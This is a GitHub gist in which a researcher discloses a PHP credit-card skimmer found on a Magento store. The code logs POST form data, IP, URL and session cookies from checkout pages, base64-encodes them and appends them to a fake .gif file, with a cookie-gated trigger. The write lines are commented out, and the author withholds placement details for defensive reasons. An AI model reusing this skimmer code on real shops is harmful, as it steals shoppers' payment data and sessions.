Last active
August 16, 2017 18:35
-
-
Save bkozora/9ae1596bf3c560d24664 to your computer and use it in GitHub Desktop.
Magento Exploit - Base64 Encode of Form Data into gif File
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
if ( isset($_POST) && is_array($_POST) && count($_POST) > 0 ) { | |
$ARINFO = $_POST; | |
$ARINFO['date'] = $_SERVER['REQUEST_TIME']; | |
$ARINFO['ip'] = $_SERVER['REMOTE_ADDR']; | |
$ARINFO['url'] = $_SERVER['REQUEST_URI']; | |
if(isset($_COOKIE['frontend'])) $ARINFO['cookie'] = $_COOKIE['frontend']; | |
if((strpos($_SERVER['REQUEST_URI'], 'checkout/onepage')) or (strpos($_SERVER['REQUEST_URI'], 'firecheckout')) or (strpos($_SERVER['REQUEST_URI'], 'onestepcheckout'))) | |
{ | |
//$log_entry = base64_encode(serialize($ARINFO)) . "\n"; | |
//file_put_contents('D:/Magento/Shop/Web/media/catalog/product/s/t/st7512_300s_ol.gif', $log_entry, FILE_APPEND|LOCK_EX); | |
} | |
} | |
if (isset($_COOKIE['3424ab90180b0e24133ab8981a00d72e']) AND ($_COOKIE['3424ab90180b0e24133ab8981a00d72e'] == '57bf2419a27d6ccaa6d0800c9b38d90f')) | |
{ | |
//file_put_contents('D:/Magento/Shop/Web/media/catalog/product/s/t/st7512_300s_ol.gif', "GIF\n"); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
I purposely avoid disclosing ALL the details of these exploits I find. I want to help site owners secure their sites, not help black hats with their skillset. For that reason, the exact placement of this code and subsequent code responsible for its execution has been left out.